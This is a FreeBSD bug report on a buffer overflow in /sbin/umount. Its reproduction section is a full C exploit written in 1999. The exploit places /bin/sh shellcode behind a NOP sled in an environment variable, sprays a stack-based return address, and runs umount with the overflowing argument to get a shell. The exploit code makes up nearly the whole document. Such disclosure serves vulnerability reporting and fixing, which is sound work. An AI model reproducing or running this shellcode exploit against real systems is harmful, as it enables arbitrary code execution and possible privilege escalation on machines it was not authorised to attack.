Bug 14406

	It's possible to execute arbitrary code by overflowing buffer in
	umount(8).

	By default umount(8) is NOT installed with setuid or setgid bits set.

How-To-Repeat: 
/*
*
* (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
* FreeBSD /sbin/umount exploit.
*
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP		0x90
#define OFS		1800
#define BUFSIZE		1024
#define ADDRS		1200

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
	char *execshell =
	"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
	"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
	"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
	"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

	char *buf, *p;
	int noplen, i, ofs;
	long ret, *ap;

	if(!(buf = (char *)malloc(BUFSIZE+1)))
	{
		perror("malloc()");
		return -1;
	}

	if (argc > 2)
		ofs = atoi(argv[1]);
	else
		ofs = OFS;

	noplen = BUFSIZE - strlen(execshell);
	ret = getesp() + ofs;

	memset(buf, NOP, noplen);
	buf[noplen+1] = '\0';
	strcat(buf, execshell);

	setenv("EGG", buf, 1);

        if(!(buf = (char *)malloc(ADDRS+1)))      
        {
                perror("malloc()");
                return -1;
	}

	p = buf;
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

	fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

	chmod(".", 0);		// fuck da realpath()!

	execl("/sbin/umount", "umount", buf, 0);

	return 0;
}